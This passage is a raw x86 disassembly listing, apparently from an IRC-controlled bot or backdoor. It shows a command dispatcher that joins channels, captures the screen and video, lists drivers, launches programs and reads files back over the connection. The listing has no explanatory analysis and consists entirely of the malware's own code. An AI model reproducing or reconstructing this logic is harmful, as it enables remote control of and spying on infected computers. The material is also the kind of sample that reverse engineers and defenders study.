		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset dword_4143CC
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40884C


loc_40883A:				; CODE XREF: sub_401ACD+6D7Dj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408867
		push	32h
		call	near ptr 2690F24h
		nop
		jmp	short loc_40883A
; ---------------------------------------------------------------------------


loc_40884C:				; CODE XREF: sub_401ACD+6D6Bj
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42A530


loc_408858:				; CODE XREF: sub_401ACD+6E8Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408867:				; CODE XREF: sub_401ACD+6D73j
					; sub_401ACD+6E6Ej
		cmp	[ebp+var_8], ebx
		jnz	loc_409631
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409629
; ---------------------------------------------------------------------------


loc_408887:				; CODE XREF: sub_401ACD+4A14j
					; sub_401ACD+4A2Bj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_42A504
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset dword_413B78
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40894B


loc_408935:				; CODE XREF: sub_401ACD+6E7Cj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408867
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_408935
; ---------------------------------------------------------------------------


loc_40894B:				; CODE XREF: sub_401ACD+6E66j
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset dword_42A4C8
		jmp	loc_408858
; ---------------------------------------------------------------------------


loc_40895C:				; CODE XREF: sub_401ACD+49E6j
					; sub_401ACD+49FDj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C0
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408979:				; CODE XREF: sub_401ACD+6F17j
		test	eax, eax
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855


loc_408995:				; CODE XREF: sub_401ACD+7A56j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4B8
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4089C0:				; CODE XREF: sub_401ACD+49B8j
					; sub_401ACD+49CFj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A4AC
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408979
; ---------------------------------------------------------------------------


loc_4089E6:				; CODE XREF: sub_401ACD+498Aj
					; sub_401ACD+49A1j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409855
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4B8
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42A490


loc_408A4C:				; CODE XREF: sub_401ACD+700Aj
					; sub_401ACD+7079j ...
		call	sub_415221
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_408A56:				; CODE XREF: sub_401ACD+495Cj
					; sub_401ACD+4973j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A85
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A488
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A85:				; CODE XREF: sub_401ACD+6FA1j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4B8
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A46C
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408ADC:				; CODE XREF: sub_401ACD+492Ej
					; sub_401ACD+4945j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	esi
		push	offset dword_42A4B8
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A450
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408B4B:				; CODE XREF: sub_401ACD+4900j
					; sub_401ACD+4917j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset unk_42A428
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_408B87:				; CODE XREF: sub_401ACD+48D2j
					; sub_401ACD+48E9j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_42A41C
		push	[ebp+arg_4]
		call	sub_409A2D
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2690F24h
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42A408
		call	sub_4151AD
		jmp	loc_403520
; ---------------------------------------------------------------------------


loc_408BEB:				; CODE XREF: sub_401ACD+48A4j
					; sub_401ACD+48BBj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AB3C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3EC
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408C58:				; CODE XREF: sub_401ACD+4876j
					; sub_401ACD+488Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3CC
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408CAD:				; CODE XREF: sub_401ACD+4848j
					; sub_401ACD+485Fj
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B5
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A3AC


loc_408CDC:				; CODE XREF: sub_401ACD+5853j
					; sub_401ACD+7B2Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409610
; ---------------------------------------------------------------------------


loc_408CF0:				; CODE XREF: sub_401ACD+481Aj
					; sub_401ACD+4831j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E2
		jmp	loc_4040FD
; ---------------------------------------------------------------------------


loc_408D0A:				; CODE XREF: sub_401ACD+47DCj
					; sub_401ACD+47F1j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409855
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB2
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D9A
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A600
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A384
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408D9A:				; CODE XREF: sub_401ACD+7270j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A354
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DB2:				; CODE XREF: sub_401ACD+725Bj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_42A338
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DFE:				; CODE XREF: sub_401ACD+47B2j
					; sub_401ACD+47C7j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E59
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E46
		push	edi
		call	sub_4153BD
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3F
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A304
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E59
; ---------------------------------------------------------------------------


loc_408E3F:				; CODE XREF: sub_401ACD+7359j
		push	offset unk_42A2D4
		jmp	short loc_408E4B
; ---------------------------------------------------------------------------


loc_408E46:				; CODE XREF: sub_401ACD+734Dj
		push	offset unk_42A298


loc_408E4B:				; CODE XREF: sub_401ACD+7377j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E59:				; CODE XREF: sub_401ACD+7342j
					; sub_401ACD+7370j
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE6
		xor	edi, edi


loc_408E6E:				; CODE XREF: sub_401ACD+7404j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CB684
		test	eax, eax
		jz	short loc_408ECD
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_42A268
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 28h


loc_408ECD:				; CODE XREF: sub_401ACD+73C2j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6E
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A240
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE6:				; CODE XREF: sub_401ACD+739Dj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F87
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F74
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F74
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F74
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F74
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F8
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A20C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F87
; ---------------------------------------------------------------------------


loc_408F6D:				; CODE XREF: sub_401ACD+7481j
		push	offset unk_42A1D8
		jmp	short loc_408F79
; ---------------------------------------------------------------------------


loc_408F74:				; CODE XREF: sub_401ACD+7437j
					; sub_401ACD+7440j ...
		push	offset unk_42A1A0


loc_408F79:				; CODE XREF: sub_401ACD+74A5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F87:				; CODE XREF: sub_401ACD+742Aj
					; sub_401ACD+749Ej
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40875A
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901F
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901F
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901F
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F1
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409015
		push	[ebp+arg_1C]
		push	offset unk_42A16C
		jmp	loc_40874B
; ---------------------------------------------------------------------------


loc_409015:				; CODE XREF: sub_401ACD+7539j
		push	offset unk_42A12C
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_40901F:				; CODE XREF: sub_401ACD+74DDj
					; sub_401ACD+74EBj ...
		push	offset unk_42A0EC
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_409029:				; CODE XREF: sub_401ACD+4042j
					; sub_401ACD+4057j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409099
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409054:				; CODE XREF: sub_401ACD+75B6j
		test	eax, eax
		jz	short loc_409085
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409054
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+7589j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A0C8
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_409099:				; CODE XREF: sub_401ACD+756Fj
		push	[ebp+arg_10]
		push	offset unk_42A0A4
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4090A6:				; CODE XREF: sub_401ACD+4018j
					; sub_401ACD+402Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	offset asc_42A0A0 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A51
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F6
		push	offset unk_42A074


loc_4090E3:				; CODE XREF: sub_401ACD+754Dj
					; sub_401ACD+7557j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40875A
; ---------------------------------------------------------------------------


loc_4090F6:				; CODE XREF: sub_401ACD+760Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A05C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_409110:				; CODE XREF: sub_401ACD+3FEEj
					; sub_401ACD+4003j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax
		call	sub_418212
		test	eax, eax
		pop	ecx
		jnz	short loc_409140
		push	offset unk_42A03C
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409140:				; CODE XREF: sub_401ACD+766Aj
		push	offset dword_42A020
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409147:				; CODE XREF: sub_401ACD+3FC4j
					; sub_401ACD+3FD9j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409178
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409178:				; CODE XREF: sub_401ACD+7697j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A008
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB6
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40921B


loc_409205:				; CODE XREF: sub_401ACD+774Cj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406D00
		push	32h
		call	near ptr 2690F24h
		nop
		jmp	short loc_409205
; ---------------------------------------------------------------------------


loc_40921B:				; CODE XREF: sub_401ACD+7736j
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_429FC8


loc_409227:				; CODE XREF: sub_401ACD+29CFj
					; sub_401ACD+75C7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_40923B:				; CODE XREF: sub_401ACD+3F9Aj
					; sub_401ACD+3FAFj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96B
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_429FB0
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_40925D:				; CODE XREF: sub_401ACD+3F70j
					; sub_401ACD+3F85j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F8C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1B
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	loc_4023E6


loc_409326:				; CODE XREF: sub_401ACD+786Dj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_409326
; ---------------------------------------------------------------------------


loc_40933C:				; CODE XREF: sub_401ACD+3F46j
					; sub_401ACD+3F5Bj
		push	[ebp+arg_10]
		nop
		call	near ptr 26A024Dh
		test	eax, eax
		jz	short loc_409367
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F70
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409445
; ---------------------------------------------------------------------------


loc_409367:				; CODE XREF: sub_401ACD+787Aj
		push	offset dword_42A778
		call	sub_41814D
		pop	ecx
		push	eax
		jmp	loc_403F48
; ---------------------------------------------------------------------------


loc_409378:				; CODE XREF: sub_401ACD+3F1Cj
					; sub_401ACD+3F31j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199CA
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409399
		push	offset unk_429F4C
		jmp	short loc_40939E
; ---------------------------------------------------------------------------


loc_409399:				; CODE XREF: sub_401ACD+78C3j
		push	offset unk_429F1C


loc_40939E:				; CODE XREF: sub_401ACD+78CAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D03
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4093D7:				; CODE XREF: sub_401ACD+3EF2j
					; sub_401ACD+3F07j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BD
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FD
		push	offset unk_429EFC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4093FD:				; CODE XREF: sub_401ACD+7924j
		push	offset unk_429ECC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_409407:				; CODE XREF: sub_401ACD+3EC8j
					; sub_401ACD+3EDDj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944D
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, ebx
		jz	short loc_409468
		push	dword ptr [eax]


loc_409433:				; CODE XREF: sub_401ACD+7999j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429EAC
		push	eax
		call	sub_41B886


loc_409445:				; CODE XREF: sub_401ACD+7895j
		add	esp, 10h
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_40944D:				; CODE XREF: sub_401ACD+794Dj
		push	esi
		call	dword_4CB6D8
		cmp	eax, ebx
		jz	short loc_409468
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB6E0
		push	eax
		jmp	short loc_409433
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_401ACD+7962j
					; sub_401ACD+7989j
		push	offset unk_429E84
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_409472:				; CODE XREF: sub_401ACD+3E9Ej
					; sub_401ACD+3EB3j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429E5C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_40948F:				; CODE XREF: sub_401ACD+3E74j
					; sub_401ACD+3E89j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5C0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B3
		push	offset unk_429E3C
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094B3:				; CODE XREF: sub_401ACD+79DAj
		push	offset unk_429E18
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094BD:				; CODE XREF: sub_401ACD+3E4Aj
					; sub_401ACD+3E5Fj
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429DF0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_4094D6:				; CODE XREF: sub_401ACD+3E20j
					; sub_401ACD+3E35j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408995
; ---------------------------------------------------------------------------


loc_409528:				; CODE XREF: sub_401ACD+3DF6j
					; sub_401ACD+3E0Bj
		mov	esi, [ebp+arg_10]
